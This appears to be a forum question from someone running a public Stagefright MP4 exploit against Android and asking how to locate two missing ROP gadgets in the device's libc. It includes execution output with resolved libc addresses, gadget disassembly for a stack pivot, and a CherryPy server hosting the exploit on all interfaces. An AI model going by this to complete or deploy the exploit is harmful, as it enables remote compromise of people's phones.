Exploit is posted here, however it is missing several things, for example shellcode and it binds to localhost for exploitation, cannot access it from Android device when started on my computer. I modified the two in my version.
To run the exploit I copied the libc.so from Android to the working directory. However pop_r0_r1_r2_r3_pc and pop_r4_r5_r6_r7_pc cannot be found. I hardcoded them to 0xffffffff just to see if it runs further. How to properly get those values? Which libc.so should I use?
Example Execution:
./mp4_stagefright_release.py
[*] memcpy : 0xb6ecdc08
[*] mmap64 : 0xb6ed42ed
b6ecd034: e280204c add r2, r0, #76 ; 0x4c
b6ecd038: e8927ff0 ldm r2, {r4, r5, r6, r7, r8, r9, sl, fp, ip, sp, lr}
b6ecd03c: e33d0000 teq sp, #0
b6ecd040: 133e0000 teqne lr, #0
3068973108
[*] stack_pivot : 0xb6ecd034
b6f0f784: e49df004 pop {pc} ; (ldr pc, [sp], #4)
[*] pop_pc : 0xb6f0f784
[*] pop_r0_r1_r2_r3_pc : 0xffffffff
[*] pop_r4_r5_r6_r7_pc : 0xffffffff
b6f1015c: e59de040 ldr lr, [sp, #64] ; 0x40
b6f10160: e28dd048 add sp, sp, #72 ; 0x48
b6f10164: e12fff1e bx lr
[17/Sep/2015:22:21:01] ENGINE Listening for SIGHUP.
[17/Sep/2015:22:21:01] ENGINE Listening for SIGTERM.
[17/Sep/2015:22:21:01] ENGINE Listening for SIGUSR1.
[17/Sep/2015:22:21:01] ENGINE Bus STARTING
CherryPy Checker:
The Application mounted at '' has an empty config.
[17/Sep/2015:22:21:01] ENGINE Started monitor thread 'Autoreloader'.
[17/Sep/2015:22:21:01] ENGINE Started monitor thread '_TimeoutMonitor'.
[17/Sep/2015:22:21:02] ENGINE Serving on http://0.0.0.0:8080
[17/Sep/2015:22:21:02] ENGINE Bus STARTED